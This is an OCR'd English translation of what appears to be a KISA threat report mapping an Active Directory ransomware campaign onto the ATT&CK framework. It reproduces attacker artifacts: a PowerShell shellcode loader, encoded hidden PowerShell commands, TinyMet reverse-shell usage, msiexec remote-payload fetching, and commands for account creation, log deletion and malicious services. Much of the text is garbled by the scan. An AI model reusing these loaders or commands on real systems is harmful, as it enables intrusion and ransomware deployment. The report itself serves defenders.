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Introduction S

1. Introduction

The rise in hacking incidents have led to ever—more stringent security requirements and the continuous
evolvement of security systems to the next level. Yet, cyber incidents that were reported in the past are still
being repeated today, and organizations with some of the most sophisticated cyber—defense systems are still
falling victims to such attacks.

The influential concept of “The Pyramid of Pain” in the sphere of cybersecurity illustrates that the most effective
security systems depend on understanding the ‘tactics, techniques and procedures’ (TTP) of the attackers. The
ultimate goal of cybersecurity is to make attacks more costly and more painful for perpetrators, in other words,
elevated to the ‘tough’ level shown at the top of the pyramid.

Challenging

Annoying

Simple

Easy

Hash Values
Trivial

Figure 1—1 Pyramid of Pain, David J Bianco

A cybersecurity system based on ‘indicators of compromise’ (IoC) still remains very efficient, (loCs would refer
to one—dimensioned indicators such as malicious IPs or domains.) However, it is also true that attackers can
easily secure then discard attack infrastructures using such simple indicators.

TTPs are different. The attacker cannot easily obtain or discard TTPs. An attacker who has locked on a target
needs to invest in learning and practicing TTPs to neutralize the target's security system. When moving on to the
next attack, the attacker will tend to select targets on which the same TTPs can be applied.

The attacker's TTPs by nature are heavily influenced by the characteristics of the targeted defense environment,
As such, security practitioners must have an accurate understanding of their own defense environment, They
must also approach the process and flow of attack from the strategic and tactical levels rather than as patterns or
methods. In short, the defender’s security environment and the attacker’s TTPs must be scrutinized together.

A defender who understands the attacker's TTPs should be able to answer two things: 1) ‘Would the attacker's
TTPs be able to penetrate the defender's environment?” and 2) ‘If so, what defensive strategy can defeat the TTPs?’

The Korea Internet & Security Agency (KISA) identifies cyberattack TTPs through its incident response process and
disseminates the process and countermeasures using the ATT&CK framework." The various artifacts related to TTPs
included in this report are merely tools to promote understanding.

A matrix showing the tactics and techniques used in actual attacks and response measures to them
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2. Overview

In the first half of 2019, there were many ransomware infections targeting companies using AD (active
directory). Security and convenience form two sides of the same coin. AD is efficient for managing a large
number of systems, but careless account management

may lead to the administrator rights being stolen, resulting in the entire internal network being compromised.

The Korea Internet and Security Agency has, in the past, responded to this by compiling attacker techniques,
malicious code similarities, etc. found during security incident investigations and distributed security warnings to
companies using AD, etc. For some time, the activities of attackers in Korea decreased, but starting near the

end of 2020, ransomware infections for AD environments began to once again occur in Korea,

Corporations, upon hearing the news of the many ransomware incidents, realized the importance of backup
and began regularly backing up important data, When corporations successfully backed up their data and did
not react to the demands of the attackers, the attackers began leaking internal information and request payment

for the leaked data.

The infiltration techniques of attacks differ slightly based on the AD environment composition, but analysis of

AD ransomware infections beginning in 2019 show that most used the same TTPs,
This TTP#5 report has detailed the process closely from the initial infiltration of the AD environment to the

achievement of the final goal. Through this, the aim is to be of aid to corporations who seek to inspect internal

security systems and build defensive strategies.
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m Reconnaissance

At the reconnaissance stage, email stealer malicious code is used to leak Outlook data files from previously
infected systems and extract email information. Some of such email accounts are used in APT attacks targeting

corporations,

m Resource Development
For internal transfers in an AD environment, commercial malicious tools such as Cobalt Strike, Ammyy Admin,
Tiny Met, etc. are used. Resources to be used as control servers or locations for malicious code distribution are

secured in advance, and attack tools for SMB side transfers are created.

m Initial Access

Previously stolen email accounts are sent malicious files or spear—phishing email with malicious codes. In order
to disguise them as normal email, the target’s work and corporation characteristics are utilized, which means the

form and content of each email is always different.

m Execution

Remote commands are executed through remote control malicious code and pipes are created between
domain systems for carrying out of commands., The SMB port is used to run commands on other systems
joined in the AD and the malicious codes are registered as a service, WMI, powershell, etc. are used to run

commands on the remote device.

m Persistence

In order to keep the remote control malicious code persistent on infected systems, services and registry
registration are executed through Autorun, AD DC is taken over to distribute group policies so that all systems

joined on the AD can be infected simultaneously.

m Command and Control
The attackers use Ammyy RAT and Amadey Bot malicious code to execute various remote commands from
an external C2 server and download additional malicious files, After taking over the base server, the SMB

feature is used to run additional commands on other systems and download/execute malicious code.

(07#) Privilege Escalation
User/administrator domain account information is stolen to connect to other systems connected via AD. For
password protection of shared folders during ransomware attacks, remote desktop session information is

sometimes stolen as well.,
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m Credential Access
The attacker uses AD server administrator account information gathered through password dump programs for

internal transfers, or uses accounts additionally created.

m Defense Evasion

Malicious code with a signed certificate or encryption is used to avoid detection from security programs, and
msiexec is used to run the malicious code. After the attack is over, the malicious code, event logs, etc. are deleted.

m Discovery

On initial infiltration, domain information is collected and a file directory search or network sharing exploration is
used to detect the structure of the internal network, Internal transfer is used to collect and leak information of the

infected system, and process or service information is also sometimes collected for ransomware infections.

m Lateral Movement

Attackers use the acquired AD accounts to attempt RDP access on other systems, and the Windows
filesharing protocol feature (SMB) is usually used to spread malicious code and cause additional infections.
Powershell is used to run remote commands on other systems and download/run additional malicious code
from the attacker's external server, or the sharing folder of the base server is used to collect malicious code
and the Windows administrator sharing feature is used to copy the malicious code and execute them to other

systems.

m Collection

The attacker gains AD administrator rights after the initial infiltration and repeats internal transfers until the
server is dominated. Commercial tools such as Ping castle, powerkatz, etc. are used to collect information on
processes, networks, accounts, etc. Remote control malicious code is then used to collect information about the
target systems and the information is encoded in a self—implemented XOR before being leaked.

EED Exitration

The data extracted from an infected system's memory is saved as a single file and leaked to the attacker's C2
server, Email and account info collected from infected systems in the reconnaissance stage have been leaked

to attacker C2 servers as well,

m Impact

The services and processes that are running are shut down to avoid detection prior to ransomware distribution,
Afterwards, AD administrator rights are used to distribute ransomware through AD DC policy distribution or SMB

protocols are used to register services for ransomware infections.
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Figure 2—1 Attack summary diagram
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3. ATT&CK Matrix

Reconnaissance

Gather Victim |dentity

Information SZ?/gr;g;en t
Obtain Capabilities
Develop Capabilities
Compromise Infrastructure
Persistence

Create Account
Create or Modify System Privilege Escalation
Process

Valid Accounts
Boot or Logon Autostart
Execution Abuse Elevation Control
Mechanism

Boot or Logon
Initialization Scripts Account Token

Manipulation

Domain Policy
Modification

Boot or Logon
Initialization Scripts

Initial Access

]
® Phishing

Credential Access

OS Credential Dumping

Create Account

ATT & CK
Matrix

Execution
]
® User Execution

® Command and Scripting
Interpreter

® System Services

® Inter—Process
Communication

® Scheduled Task

® Windows Management
Instrumentation

Defense Evasion
I
® Masquerading

® Subvert Trust Controls

® Indicator Removal on
Host

©® Signed Binary Proxy
Execution

© Deobfuscate/Decode
Files or information
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Discovery

Software Discovery
Process Discovery
Account Discovery

File and Directory
Discovery

Network Share
Discovery

System Information
Discovery

System Owner/User
Discovery

Impact

Service Stop

Data Encrypted for
Impact

Lateral Movement

Remote Services

Lateral Tool Transfer

Command
and Control

Remote Access
Software

Application Layer
Protocol

Ingress Tool Transfer

Protocol Tunneling

3.

ATT & CK
Matrix

Collection
|
© Data from Local System | Exfiltration
. ]
® Archive Collected Data ® Exiitration Over C2
Channel
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ATT & CK
Matrix

Gather Victim Identity Information — Email Addresses: Email address collection

The attacker uses the email stealer malicious code to collect email addresses from infected systems.
The collected email addresses are used to infiltrate the main targets, corporations, using the AD environment.

—_—
Outlook Email authentication information
(account, profile) E
email information ’
— >
=
Pl Hacker Server
_
IBND
File Signature
. ;' = RegQueryInfokeyW(HKEY USERS, 0, @, @, &:5 . 0.0, 912)0._0):4_)_

sub_8014LB(8111, L"\\Saftuare”, 3u);
e

1F ( vis 3= 8 )

- sub_4BECI8(v9, 1)} I/ get smtp, imap, popd password

1F (ol e B )
i LamvTE(190) = 9;

15[4] = 8;
S(5) = 15
15 - 9
sub_401CBO(v15, v42, strlen(vi2));
143 = 0
LODHORD(15 /)
RO(

LOBYTE(v194)

Plain Text rd for E-mail
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3.
ATT & CK

Matrix
(1) Obtain Capabilities — Tool, Malware: Obtaining tools and malware
Attackers use the commercial malicious tool CobalStrike for internal transfers,

In addition, the remote control malicious code Ammyy Admin, AmadeyBot, and TinyMet are used for remote control.
Most types of malicious code are based on publicly available tools but are slightly tweaked in function.

CobaltStrike

Cobalt Strike N ]
Gobak striks Wiew Attacks Reporting Help
DE QO EE aErfLd e ca Ia

Beacon 10.10.295@736 X

lasts 18644h

create a token for \
psh PCB smb

n_smb/bind pipe (\\PCB\pipe\status 5555) on PCA via Servi ol Manager (PSi)

TinyMet

C:#User sWTHORWDesktop>slog.exe
TinyMet ve.2
tinymet.com

Usage: tinymet.exe [transport] LHOST LPORT
Or you can specify arguments through filename itself, separated by underscore.
like TRANSPORT_LHOST_LPORT.exe

Available transports are as follows:
@: reverse_tcp
1: reverse_http
2: reverse_https
3: bind_tcp

Example:

“tinymet exe 2 host.com 443"

will use reverse_https and connect to host_ com:443

setting the filename to “2_host. com_443 exe” and running it without args will do
exactly the same

Korea Internet & Security Agency
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Develop Capabilites — Malware: Malicious code creation

3.
ATT & CK

Matrix

In order to spread internally through SMB, attackers use a malicious tool that is presumably self—-developed.

Malicious tools that use SMB

Usage: evil.exe [/P:str] [/S[:str]] [/B:str] [/F:str] [/C] [/L:str] [/H:str] [/T:int] [/E:int

[/R]
/Pistr -- path to payload file.
/S[:str] -- share for reverse copy.
fBiatx path to file to load settings from.
/F:str —— write log to specified file.
/C —— write log to console.
/Liatr path to file with host list.
/H:str -- host name to process.
/T:int -- maximum number of concurrent threads.
/E:rint number of seconds to delay before payload deletion (set to 0 to avoid remove).
/R —— remove payload from hosts (/P and /S will be ignored).

If /S specifed without value, random name will be used.
/L and /H can be combined and specified more than once. At least one must present.
/B will be processed after all other flags and will override any specified values (if any).

All parameters are case sensetive.

Traces of malicious tool use (Malicious code logs)

10.123.170.231 : Payload direct copy FAILED (67), SM opened, Payload reverse copy FAILED (1073)
10.123.184.91 : Payload direct copy FAILED (112), SM opened, Payload reverse copy FAILED (1073)
10.201.10.145 : Payload direct copy FAILED (1326), SM open FAILED (5)

10.123.170.229 : Payload direct copy FAILED (67), SM opened, Payload reverse copy FAILED (1073)

10.201.10.83 : Payload direct—copied, SM opened, Service created, Service started, Service removed, Payload removed
10.201.10.84 : Payload direct—copied, SM opened, Service created, Service started, Service removed, Payload removed

Compromise Infrastructure — Server: Server resource acquisition

A small corporation’s servers are broken into to distribute additional malicious code to the target or perform
command control,

_

X Ligme |Mme- | Gy P g2 s o

1
[
SETOTE

SAAEZALAD BEEREU,

WY DEEC : 25072018 02681 818 Malicious code

Link click

!“ \]
i duz * Malicious code download

Resource acquisition S R o kr/25072019 8351 x4

Attacker through hacking @ Chromeo| 712 MetR 2 HHE0] YX G
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Initial Access

Phising — Spearphishing Attachment: Phishing using attachments
Phising — Spearphishing Link: Phishing using links

3

ATT & CK
Matrix

e
N

Spear—phishing emails are sent to individuals in order to infiltrate corporations.
Phishing methods use both attachments and malicious links inside the email.
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3.

ATT & CK
Matrix

[3) Execution

User Execution — Malicious File: Running malicious files

Various types of malicious files are attached to phishing email, and users are induced to run them.

Malicious macros

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

— —
(_> —m— OO
LX}
connecting to malicious code malicious code distribution server
distribution site
Inducing execution Malicious code
of macros download
30 msiexec exe RETURN=311 /i http. Nib2 /g ksw="%TEMP%'
31 msiex
32 |ec.exe RETURN=311 ),

33 /ihip Nib2 y
34 /q ksw="%TEMP%’

malicious code

Malicious functions executed through link files

T
N
Unzipping
&9
.iso

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

(a]s)

)
I

00

| 4

malicious code
distribution server
connecting to malicious code

Ink distribution site

[

disguising as
pdf file

A Malicious code

PR T ICTTIE il download
E‘ L207123
Clia gy &8 3208
Ched 2% Sysem3z

run with double click

P Tmsienee ox [ Sy oA o

AT RS CiWWindowsWSystem32wbem
HHROP BIK): ©E

[ 5

Hum) EEES -
&30y .

malicious code
__IDP SR FINE) || o012 !ELC)L 22(D)... J
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Screensaver file i

Unzipping

connecting to malicious code
distribution site

Ink

[ —
disguising as
pdf file

run with
double click

(2) User Execution — Malicious link: Malicious link click

malicious code
distribution server

Malicious code
download

2l

malicious code

Users are induced to click malicious links in phishing email, downloading malicious code in external

servers and executing them,

Q

max- | [

xh Pz
a=

7P

L oaH 1 ol fPax. AHHE 27 sauo | woy
2¥a UL LA I 8 - | T | ozma
4% 88 g L BY /&

q (DGNFEL300051) § AHME)A LM 7L

STHMIZ)HMAIE B RSLICH

S UE2C @ 25072019 0291.xs

Link click

[< IR

X

malicious
code

malicious code
download

0 )

C (O e k1725072019 835114

@ Chiomeo| 7| ete 2 SHEO YUK FEUCH
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Command and Scripting Interpreter — Windows Commnad Shell: Using windows commands

CMD is used to control the infected system. Commands used by the attacker are as follows.

Used commands

Account creation

Account privilege setting

Process stopping

Service stopping

Service creation

Service execution

Service removal

Domain account check

Delete event log

Creation of schedule

Schedule execution

Schedule stopping

Schedule deletion

Process checking

net user [account name] [password] /add

net localgroup administrators [account name] /add

taskkill /IM [process name]

net stop [service name]

sc create [malicious service name] binpath= [malicious code path]

sc start [malicious service name]

sc delete [malicious service name]

net user /domain

for /F W “tokens=""W" %1 in (‘weviutiLexe el’) DO wewvtutilexe cl W %1

schtasks.exe /CREATE /XML C:WProgramdatat{malicious schedule file

name].xml /in [malicious schedule name]

schtasks.exe /RUN /in [malicious schedule name]

schtasks.exe /END /tn [malicious schedule name]

schtasks.exe /DELETE /tn [malicious schedule name] /F

tasklist

Korea Internet & Security Agency
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3.
ATT & CK

Matrix

Command and Scripting Interpreter — Powershell: Using windows Powershell

When executing additional malicious code or using lateral transfers to attempt to infect other resources,
Powershell is used.

Powershell execution log (Windows Powershell log)

Registry” 3SR} sterted BLICH

LEE-1H
ProviderName sRegistry
NewProviderState =Started

Sequencebumber =1

Hosthame =ConsoleHost

Hostversion=5. 1.18362. 145

Hostld=7477453b-605f-4c76-9f63- ladc2c0e63b3

HostAoplicaion =powrershell -ep bypass ¢
JABMAGUADQE ADDAIWBKAGKAZGE IAHEAIWATACQACQAIACCAZABAHQACAASACEAL WBOAT SAGABY ADLACQAUAGMADWELA \DEAJABSADOAIABSACSA IVBWACCAWANADEAZQBNAGMAXWAYADAAMGAW
ADAAMQAWADMAINATACQABQASACOATGBIAHCAL QBF dAdga JAZQBIACAATGRIAHQAL gXAGL QRlAG4A ARABvAHCAbgBSAGRAYQBKAEQ) 4AKQATAF SALWBSAHMAJABIAGOAL GRTAGUAYWE
1AHIAIQBUAHKAL GEDAN 145040 QAKQ \CQADQY 5 JABFAC
QBNACQAIWBAADIA k QBIAHEA ik Dk
QADQADAHDA

Al BhADUAMQAADEADQBIAGU AF SAXQBd

EngneVersion=
Runspaceld=
Ppeineld=
Commandhame =
CommandType=
SariptName=
CommendPath=
CommandLine=

Powershell execution log (System service installation log)

A0 MH|27F 2R E RIS LD

AH|2 0|Z: cdbcg6e

AH|A THY 0|Z: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encededcommand
JABzADOATgGBIAHCALOBPAGIAagBIAGMAJAAGAEKATWAUAEOAZ QBtAGBACGBSAFMAJABYAGUAYQBLACGALABDAEMABWBUAHYAZ QBYAHOQAXQABADCARGBYAGEAD
QBCAGEAcWEIADYANABTAHQACGBpAGAAZWACACIASAADAHMASOBBAEEAQOBBAEEAQOBBAEEAQOBMADEAWABIAFCALWBPAHUAZABMACSAWABIADUARGBKAEY
AUWBKAEKACQWBNAGGAdgBCAFYAVWEXAGOADQBKAFEACWBDAFUACQAWAEEASQASAEY AUWBWAFMAWGB4AGCAYWBCAESAYOBPAEEAUGA2AGOAdgAVADCAZABR
AEWACWBKAGOAKWASADUAKWASAFIAaWBXADYAIWBTAEGANGBaAECAWQATAGYAZQBUAHCAZOBhADQAagBIAGEAVABUAEEASgBOADMANABGAHUATAB1AGQAQG
BTAEUAMgBQAGUANABJAGKAWgGBEADIALWBKAFYAcQBUADMABQB2AGOAUQBBAGQAIQBTAFCATgBCAGWATWBHAHMACABPAGEACWAVADCADWBEAGUAZ gBVAFC
AVOBGAESAQOBSADUAdgBEAEKAMWBZAHgAABBAGWAKWBOAHYARABBAEIANABKAGAAMABYAEKACOBGAEEACABaADEAROBFAEYADABSAGCASABJADMATgATAG
OAYgBKAEMAagBSAFEABQBPAGOAWGB3ADKAUWBMAEUARABQAEWACQBIAGIAMWE3AHIAWGBRAHYADWBGADIATWASAGIAdGBNAHUASAASACSAVABWAGSASAB3A
EYAQOBmMAEWAbWE 1 AFYALWBZAEKAQOBYAEMARCQBMAGWACGBNAGWASABJADUANWBPAHYAMWBHAESARABBAGAAUQAZAFCADQATAFIAUWBIAGOALWB 1 AE4AdgBU
AFKAbWBMADQAYQAWAGCAJQBZAGKAYWBaAGOA3AB1 ADIASQBIAEIAWGBSAFYAcgBMAE4AMgBHAHKAZWAZ AESAMgBKADUAagBSADIAVAAVACSAcgBPAFKAZ QA
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0N MW

11
12
13
14
15
16
17
18
19
20

22
23
24

on (Clop ransomware execution)

Powershell execu

Code(X86) Code(X64)

01100001011001100 01100001011001100
110001101%0010%0% 110001101%0010%0%
10001001101001011% 10001001101001011%
01010011011100010 01010011011100010
r—1000011010100110% 1000011010100110%
10101101110011110 10101101110011110
01001000000LL00%0 0100000000LL00%0
101101000014000L0 101101000014000L0
00100000001000000 00100000001000000
1111001011001010% 1111001011001010%
1001101

1011010111001101% 1011

* Default

1. Code selection according to the execution environment
2. Code size definition (default 0x 100)

3. Allocation of new memory and code copying

} >

# Import required functions

$code = '[Dl1lImport("kernel32.d11")] public static extern IntPtr VirtualAllec(IntPtr lpAddress, uint dwSize, uint flAll

ocationType, uint flProtect); [DllImport("kernel32.d11")] public static extern IntPtr WaitForSingleObject(IntPtr Handle
, uint Wait); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwSt
ackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr 1pThreadId); [D1lImport("msvcrt.dl1l")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[1]$sc32 =
9x83, @xEC, @x28, @x31, @xD2, @xé64, Ox8B, @x52, @x3@, Ox8B, @x52, @x0C, Ox8B, Ox52, ©x14, Ox8B,
@x72, @x28, @xB9, @x18, @x0@, Ox8ad, @xe@d, Bx31, OxFF, Bx31, OxC8, BXAC, 0x3C, @x61, @x7C, ©Ox02,
@x2C, 0x20, oxCl, oxCF, oxeD, oxel, oxC7, OxE2, ©xF@, 0x81, OxFF, 0x5B, @xBC, Ox4A, Bx6A, 0x8B,

<4 g s

0xeD, @x48, @x@l, @xC7, OxEB, OxF3, @x44, Bx39, OxFF, 0x75, OxD8, Ox41, Ox8B, 0x70, Bx24, Ox48,
0x@1, @xDE, @x48, @x31, @xD2, @x66, @x8B, @x14, OX4E, Ox41, Ox8B, @x70, Ox1C, Ox48, Ox@1, OxDE,
9x8B, ©x04, Ox96, Ox48, 0x01, @xD8, @xC3;

[Byte[]11$sc = $sc32;
if ([IntPtrl::Size -eq 8) {$sc = $scb4};
$size = Ox1008;
if ($sc.Length -gt @x1eee) {$size = $sc.Length};
$x=%winFunc::VirtualAlloc(@, $size, @x1000,0x48);
for ($i=0;$i -le ($sc.Length-1);$i++) {SwinFunc::memset(($x.ToInté64()+$1), $sc[$i]l, 1)};
$h=$winFunc::CreateThread(e,@,6%x,0,8,0);
SwinFunc::WaitForSingleObject($h, 4294967295)f
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System Services — Service Execution: Service execution

Service installation and execution functions are used to run malicious codes or commands.

Most lateral transfers are performed through SMB ports. As such, for malicious code execution through
SMB ports, service installation/execution is needed.

Service installation can be checked by searching event ID 7045 in the Windows event long.

Execution of remote control malicious code

Ao My 27 SR EH &L

A E| £ 0] 5: DFDHIdAMpgxPCzm]

AME|L IHE O] F: %COMSPECY% /C echo cmd.exe [c c WperflogsWadminwsus.exe 3 10.1.1.113 776 > %SYSTEMDRIVES: WWINDOWS W Temp
WOQKMZXaUsQWACGQY. bt > TAWINDOWS W TempEPa0UbZFTFABGIPE. bat & %COMSPEC% /C start %COMSPEC: /C HWINDOWSHTemp
WBPaOUbZFTEABGIPE bat

MU A R&. MEX BE MH A

ME| & A RE, BE A AT

ME[ £ HE: LocalSystem

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

Execution of command

Al B0 AME AT EXE WS UCH

AE 2 O] & wZfAEzdMPuYeYzIG

AE|L OHE 0|5 SRCOMSPECY: /C echo tasklist V > %SYSTEMDRIVE Y WHVINDOWS W Temp WMRUyhVEQriIxegs. txt > WWINDOWS W Temp
WmitWkHmILEXphUUu bat & %COMSPEC% /C start %COMSPEC % /C WWINDOWS W TempWmitwkHmILEXphUUu.bat

MH| A~ RE; ALERT BE MH|~

ME A AR RE; B8 A AR

ME|L HE: LocalSystem

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

Ransomware infection

Al MELTHERE UL
AE| L Ol 5: pswexesvc

AE|L OHE 015 Cr'WwindowsWswagp.exe
ME[A B AFER EE MH X

MBS AE RE: BE AME

AE[X AT Localsystem

L]
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©) Inter—Process Communication: Communication between malicious processes

Pipe communication is used to share commands between malicious codes.

The pipe used is called CobaltStrike, and the naming pattern is that of the malicious codes created.

If the malicious code creates a pipe that is capable of both reading/writing, it can function as a server.
Afterwards, an external client attempts to connect to the pipe and ends up executing the data sent by the
attacker.

Pipe communication code — malicious code (status_a63b, status_2d19, status_dd21)

1. Create Named pipe

_ b
—a 2. Pipe

— connection
status_2d19 (
— ¢

status_dd21 é

3. Data
reception

4. Execution

EXECUTE external
rocess
COMMAND

L]
Korea Internet & Security Agency 20
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Pipe communication traces — firewall log

PGM_MNAME
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE
Explorer.EXE

= |FILE_NAME
10.1.1.25/pipe/svectl
10.1.1.96/pipe/svectl
10.2.1.32/pipe/svectl
10.2.1.48/pipe/svectl

10.4.14.199/pipe/svcctl
10.4.14.199/pipe/svcct]

10.3.0.26/pipe/svectl
10.3.0.25/pipe/svectl
10.3.0.55/pipe/sveetl
10.3.0.194/pipe/svcctl
10.3.0.218/pipe/svectl
10.3.0.223/pipe/svectl

T|USE_PLACE
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL

| DEV_NAME
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
NETWORK-DRIVE
METWORK-DRIVE

Pipe communication traces — event log

A0 MB[A7 SR E S UL
|’f|H|ﬁ Ol &: gytnzy
i’*‘l H| £ Ot2 0| &: ond.exe fc echo gytnzy > Wi Ypipe Woyinzy
MH A F3: MEX EZE MH| &

MH A ME 54 88 A MF

MEl 2 3 LocalSystem

List of pipes used

status_887

status_776
status_34513
status_ab3b
status_2d19
status_dd?1

Hacking tool

CobaltStrike

svecll
samr
Isarpc

PsExec

Korea Internet & Security Agency

3.

ATT & CK
Matrix

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

21



Scheduled Task — Scheduled Task/Job: Execution via task scheduler

Malicious code is used through task scheduler registration
Because most lateral transfers use SMB ports, scheduler creation and execution are sometimes used
because it is a method of executing files through the SMB port.

Infected system A

account acquisition

B SMB connection using the acquired account

system B

I xml file insertion through shared folder \\
_)
_)

Scheduler creation and execution via .xml file @ n

Used commands

Creation of schedule

Schedule execution

schtasks.exe /CREATE /XML C:W#WProgramdata{malicious schedule file
name].xml /in [malicious schedule name]

schtasks.exe /RUN /in [malicious schedule name]

Schedule stopping

schtasks.exe /END /tn [malicious schedule name]

Schedule deletion

schtasks.exe /DELETE /tn [malicious schedule name] /F

Korea Internet & Security Agency
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Windows Management Instrumentation: Windows management tool

3.

ATT & CK
Matrix

Windows Management Instrumentation is used to execute commands on remote systems, The commands
used from the base server can be checked by searching for event ID 4648 on the server's Windows

security log.
Execution of command
wmic /node:[server name|IP address] /user:[domain namel#{username]
/password: [password] process call create [command]
WMIC execution traces — event log
g TAE ANE EES MESH EOZ2E A ULOL
(] =
| = ||FH:
% 28D 5-1-5-18
= HE 08 SYSTEM
HE =0 o, MT AUTHORITY
B2 1D: 0x22cdbbe
212 GuIb: {00000000-0000-0000-0000-000000000000}
s EF0MEE AHE:
HE OE: L |
A =09, I
212 guID: {00000000-0000-0000-0000-000000000000%
O = A =,
O & M O] S: FHLETE .S e e e
_'J‘=_:-‘|-3§i: Illl.l-i'.i.'l"?-r\.-\.--qll |
SEMAFEE,
ZEM LD 0x1010
EEH L O C:WWindows WSystem32Whwbem WWMIC . exe
HEHI H"HE.
HEYI Fo; -
=E. 5

L]
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3 Persistenc

Create Account: Account creation

After infiltration of a corporate system, an attacker's account is created and given administrator privileges.

WindowsWtemp#([random16].txt [random16].bat
P —
é Name, extension change >
TXT - account creation
net user [ID] [password] /add i
Administrators
WindowsWtempW([random16].txt [random16].bat
_ —~— [ID ]
é Name, extension change
TXT - T
net logcalgroup administrators [ID] /add =ddllion of account ©
managed group

Used commands

%COMSPEC% /C echo net user [AIMH] [HAE] /add *) %SYSTEMDRIVE%W
Account WINDOWSWTemp¥{random_16].txt )
creation WWINDOWSHTempirandom_16].bat &

%COMSPEC% /C start %COMSPEC% /C WWINDOWSWTempW{random_16].bat

%COMSPEC% /C echo net localgroup administrators [A/&H] /add Y %SYSTEMDRIVE%W
Account privilege WINDOWSW Temp'¥{random_16].txt )
setting WWINDOWSW TempW{random_16].bat &
%COMSPEC% /C start %COMSPEC% /C WWINDOWSWTempi{random_16].bat

[ )
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Create or Modify System Process — Windows Sevice: Maintaining persistence through
service installation

For malicious code that requires persistence maintenance, service start type is set to auto start,

Ransomware malicious code auto start

AlLB0 ME| L7 SA IS UL
ME| A O] 5 psxexesvc

ME|& Tt E 0 &: C:Wwindowsswagp.exe
ME|A 3 AIEA2E AMEA

[Mel2 A% §9: XtE AR
ME| 2 A7 LocalSystem

uondunsaq

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

AlAE0 ME| A7t SXEASUCLCH

ME| £ O] 5: msdtestefsrv

ME|L Tt E O|F: C:WwINDOWSHtaskswsusrv.exe
MEE RE: X EE AME A

MHA AX ST XHE AR

ME|A A7 LocalSystem

uopdidsac

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

Boot or Logon Autostart Execution— Registry Run Keys / Startup Folder: Autostart
registration in registry and start folder

The malicious code is registered in the auto start registry.

Registry path

HKCUW SoftwareWMicrosoftWindowsWCurrentVersionWRuniintelProtected

L]
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Boot or Logon Initialization Scripts: Network Logon Script: Autostart via group policy

In order to take over an AD environment, a domain administrator account is mandatory. As such, a system
that has previously used an administrator account is found and an account dump program called mimikatz
is used. This secures the system's account information,

After securing an account that belongs to the administrator group, the Bypass User Account Control
method is sometimes used to elevate to administrator rights,

£3BE |PowerShell ASZE |
MNEZEIM ASRE(success_policyd CHED

E} S I ME | 25
crd, exe / "copy /y WIS EEme T, gEW | nse
L =

A3RIE 0N

Jcrmd, exe ’%*D}E?I(E)...l

ASEIE Y BB
|76 Teopy Ay W as T v WS ys Vol

20l Ba |

Malicious code insertion log using GPO

SysVotw{ DomainNamewPoliciesW{ PolicyGUID J#MachineWScriptsWStartuptstopserv.exe

SysVolt{ DomainName wPolicies | Policy GUID [#MachineWScriptsWStartupwsusrv.exe
SysVol{ DomainNamePoliciesW{ Policy GUID tMachineWScriptstShutdownistopserv.exe
Sys Vol DomainName fPolicies{ Policy GUID MachineWScriptsy_ogontstopserv.exe

SysVolt{DomainName wPolicies\W{ PolicyGUID J#MachineWScriptsWscripts.ini

Korea Internet & Security Agency
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Privilege Escalation

Valid Accounts — Domain Accounts: OS account info acquisition and use
Abuse Elevation Control Mechanism — Bypass User Account Control: UAC bypass

In order to take over an AD environment, a domain administrator account is mandatory. As such, a system
that has previously used an administrator account is found and an account dump program called mimikatz
is used. This secures the system's account information,

After securing an account that belongs to the administrator group, the Bypass User Account Control
method is sometimes used to elevate to administrator rights,

| - | Domain_User_A Account
(& * Domain_User_B Account

—
VICTIM 1

Mimikatz

A L_J - SMB I___‘ _
; > | ‘ i i Domain_User_C Account
L

— —
ATTACKER VICTIM O VICTIM 2

Mimikatz

Domain Controller

Domain-administrator
A

SMB -
* | Domain-administrators account

)

VICTIM 3

Mimikatz Bypass User Account Control

L]
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Account Token Manipulation — Token Impersonation/Theft: Impersonation or theft of
other tokens

The remote desktop session host info is brought to find users logged in or the designated exeplorer.exe
user token is copied.

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

1. RDP session info Sess 1 | «— WTS Active?
acquisition Sess 2
(—
2. Acquisition of ‘
session ID logged
into Windows station Sess N | «—

3. Username acquisition
from session ID

4. User token acquisition

X If a specific user is designated,
the user’s token is acquired

JUBUIUCJIAUS (Y Ul SUJ8}3Dd XID)}D

5. Token copying

Duplicated

L]
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[4) Account Token Manipulation — Create Process with Token: Creation of processes with high—
privilege tokens

Username is extracted from EXPLORER.EXE and if the username is less than 5 characters, the designated
user token is copied the same as in Account Token Manipulation — Token Impersonation/Theft If not, the
usable user token is copied. Afterwards, the copied tokens are used to execute the current process file
with the runrun parameter.,

Process eeoe@®

Al
[ —

username

1. Username extraction
from ‘explorer.exe’
Explorer.exe
=
25

2. len(username)
<5

1001
0100 PIIEIES
1010 AllEl

/

{current file} 3. Execution

runrun

Korea Internet & Security Agency
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Domain Policy Modification — Group Policy Modification: Group policy modification
©) Boot or Logon Initialization Scripts — Network Logon Script: Autostart via group policy

Group policies are used to distribute malicious codes and administrator privileges are used to run them.,

a BEC) ERA =AM 8w S8 =l
o nmaclBm
r FLEE -
5 & iﬂs'ufé QIS IE M KM |18 2 pa| g |
& fa I - JGPD (58  [= GPO &8 :
s Default Domain Policy 1 o Defauh Domain Policy OHIE  © AR =1
